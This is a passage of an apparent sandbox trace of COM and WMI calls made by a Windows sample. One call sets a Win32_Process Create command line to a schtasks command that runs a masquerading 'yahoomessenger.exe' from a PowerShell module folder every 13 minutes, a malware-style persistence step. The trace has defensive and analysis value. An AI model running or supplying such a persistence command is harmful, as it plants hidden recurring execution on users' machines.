ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0065.417] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0065.417] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0065.417] IUnknown:Release (This=0x111f638) returned 0x1 [0065.419] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x11f9910) returned 0x0 [0065.419] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f9910, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0065.419] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f9910, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1bf3b940) returned 0x0 [0065.419] WbemDefPath:IUnknown:Release (This=0x11f9910) returned 0x0 [0065.419] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b940, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1bf3b940) returned 0x0 [0065.419] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b940, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0065.420] WbemDefPath:IUnknown:AddRef (This=0x1bf3b940) returned 0x3 [0065.420] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b940, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0065.420] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b940, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0065.420] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b940, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x11f9950) returned 0x0 [0065.420] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f9950, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0065.420] WbemDefPath:IUnknown:Release (This=0x11f9950) returned 0x3 [0065.420] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0065.420] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0065.420] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b940, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0065.420] WbemDefPath:IUnknown:Release (This=0x1bf3b940) returned 0x2 [0065.420] WbemDefPath:IUnknown:Release (This=0x1bf3b940) returned 0x1 [0065.420] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0065.420] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0065.420] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b940, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1bf3b940) returned 0x0 [0065.420] WbemDefPath:IUnknown:AddRef (This=0x1bf3b940) returned 0x3 [0065.420] WbemDefPath:IUnknown:Release (This=0x1bf3b940) returned 0x2 [0065.420] WbemDefPath:IWbemPath:SetText (This=0x1bf3b940, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0065.420] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b580, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0065.420] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b580, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0065.420] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b580, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0065.420] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0065.421] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0065.421] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0065.421] IUnknown:Release (This=0x111f638) returned 0x1 [0065.422] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11f9990) returned 0x0 [0065.422] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f9990, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0065.422] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f9990, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3ba00) returned 0x0 [0065.422] WbemDefPath:IUnknown:Release (This=0x11f9990) returned 0x0 [0065.422] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ba00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3ba00) returned 0x0 [0065.423] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ba00, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0065.423] WbemDefPath:IUnknown:AddRef (This=0x1bf3ba00) returned 0x3 [0065.423] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ba00, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0065.423] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ba00, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0065.423] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ba00, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11f99d0) returned 0x0 [0065.423] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f99d0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0065.423] WbemDefPath:IUnknown:Release (This=0x11f99d0) returned 0x3 [0065.423] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0065.423] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0065.423] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ba00, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0065.423] WbemDefPath:IUnknown:Release (This=0x1bf3ba00) returned 0x2 [0065.423] WbemDefPath:IUnknown:Release (This=0x1bf3ba00) returned 0x1 [0065.423] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0065.423] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0065.423] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ba00, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3ba00) returned 0x0 [0065.423] WbemDefPath:IUnknown:AddRef (This=0x1bf3ba00) returned 0x3 [0065.423] WbemDefPath:IUnknown:Release (This=0x1bf3ba00) returned 0x2 [0065.423] WbemDefPath:IWbemPath:SetText (This=0x1bf3ba00, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0065.424] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b940, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0065.424] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3ba00, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0065.424] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ba00, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0065.424] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ba00, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0065.424] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bf3b940) returned 0x0 [0065.424] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3ba00, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0065.424] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3ba00, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0065.424] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3ba00, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0065.424] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3b940, uIndex=0x0, pszName="root") returned 0x0 [0065.424] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3ba00, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0065.424] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3ba00, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0065.424] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3b940, uIndex=0x1, pszName="cimv2") returned 0x0 [0065.424] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3ba00, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0065.424] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3ba00, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0065.424] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3b940, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0065.424] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3b940, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0065.424] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3b940, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0065.424] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b580, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0065.424] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b580, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0065.424] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b580, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0065.424] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b580, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0065.424] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b580, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0065.424] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b580, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0065.424] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b940, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0065.424] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b940, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0065.425] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b940, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0065.425] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b940, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0065.425] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b940, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0065.425] IWbemServices:GetObject (in: This=0x1bf53b70, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x1bf45760, ppCallResult=0x0) returned 0x0 [0065.451] IWbemClassObject:GetMethod (in: This=0x1bf45760, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x1bf45ad0, ppOutSignature=0x1b2fd9e0*=0x1bf45e40) returned 0x0 [0065.452] IWbemClassObject:SpawnInstance (in: This=0x1bf45ad0, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf1a240) returned 0x0 [0065.452] IWbemClassObject:Get (in: This=0x1bf1a240, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad8298*=0, plFlavor=0x2ad829c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad8298*=8, plFlavor=0x2ad829c*=32) returned 0x0 [0065.452] IWbemClassObject:Get (in: This=0x1bf1a240, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad8298*=8, plFlavor=0x2ad829c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad8298*=8, plFlavor=0x2ad829c*=32) returned 0x0 [0065.453] IWbemClassObject:Put (This=0x1bf1a240, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"yahoomessengery\" /sc MINUTE /mo 13 /tr \"'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0065.453] IWbemClassObject:Get (in: This=0x1bf1a240, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad8328*=0, plFlavor=0x2ad832c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad8328*=13, plFlavor=0x2ad832c*=32) returned 0x0 [0065.453] IWbemClassObject:Get (in: This=0x1bf1a240, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad8328*=13, plFlavor=0x2ad832c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad8328*=13, plFlavor=0x2ad832c*=32) returned 0x0 [0065.453] IUnknown:QueryInterface (in: This=0x1bf45080, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x1bf45080) returned 0x0 [0065.453] IUnknown:QueryInterface (in: This=0x1bf45080, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0065.453] IUnknown:QueryInterface (in: This=0x1bf45080, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0065.454] IUnknown:AddRef (This=0x1bf45080) returned 0x3 [0065.454] IUnknown:QueryInterface (in: This=0x1bf45080, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0065.454] IUnknown:QueryInterface (in: This=0x1bf45080, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0065.454] IUnknown:QueryInterface (in: This=0x1bf45080, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x1bf45088) returned 0x0 [0065.454] IMarshal:GetUnmarshalClass (in: This=0x1bf45088, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0065.454] IUnknown:Release (This=0x1bf45088) returned 0x3 [0065.454] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0065.454] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0065.454] IUnknown:QueryInterface (in: This=0x1bf45080, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0065.454] IUnknown:Release (This=0x1bf45080) returned 0x2 [0065.454] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0065.454] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0065.454] IUnknown:QueryInterface (in: This=0x1bf45080, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0065.454] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0065.454] IUnknown:QueryInterface (in: This=0x1bf45080, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0065.454] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0065.454] IUnknown:AddRef (This=0x1bf45080) returned 0x3 [0065.454] IWbemClassObject:Put (This=0x1bf1a240, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bf45080, varVal2=0x0), Type=0) returned 0x0 [0065.455] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b640, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0065.455] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b640, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0065.455] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b640, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0065.455] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b580, 